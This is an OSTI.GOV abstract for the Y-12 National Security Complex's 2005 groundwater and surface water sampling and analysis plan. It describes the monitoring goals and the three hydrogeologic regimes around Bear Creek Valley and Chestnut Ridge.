plan.« less

Y-12 Groundwater Protection Program Groundwater and Surface Water Sampling and Analysis Plan for Calendar Year 2005

DOE Office of Scientific and Technical Information (OSTI.GOV)

None

2004-09-30

This plan provides a description of the groundwater and surface water quality monitoring activities planned for calendar year (CY) 2005 at the U.S. Department of Energy (DOE) Y-12 National Security Complex (Y-12) that will be managed by the Y-12 Groundwater Protection Program (GWPP). Groundwater and surface water monitoring performed by the GWPP during CY 2005 will be in accordance with DOE Order 540.1 requirements and the following goals: (1) to maintain surveillance of existing and potential groundwater contamination sources; (2) to provide for the early detection of groundwater contamination and determine the quality of groundwater and surface water where contaminantsmore » are most likely to migrate beyond the Oak Ridge Reservation property line; (3) to identify and characterize long-term trends in groundwater quality at Y-12; and (4) to provide data to support decisions concerning the management and protection of groundwater resources. Groundwater and surface water monitoring during CY 2005 will be performed primarily in three hydrogeologic regimes at Y-12: the Bear Creek Hydrogeologic Regime (Bear Creek Regime), the Upper East Fork Poplar Creek Hydrogeologic Regime (East Fork Regime), and the Chestnut Ridge Hydrogeologic Regime (Chestnut Ridge Regime). The Bear Creek and East Fork regimes are located in Bear Creek Valley, and the Chestnut Ridge Regime is located south of Y-12 (Figure A.1). Additional surface water monitoring will be performed north of Pine Ridge, along the boundary of the Oak Ridge Reservation (Figure A.1). Modifications to the CY 2005 monitoring program may be necessary during implementation. Changes in programmatic requirements may alter the analytes specified for selected monitoring wells or may add or remove wells from the planned monitoring network. All modifications to the monitoring program will be approved by the Y-12 GWPP manager and documented as addenda to this sampling and analysis plan.« less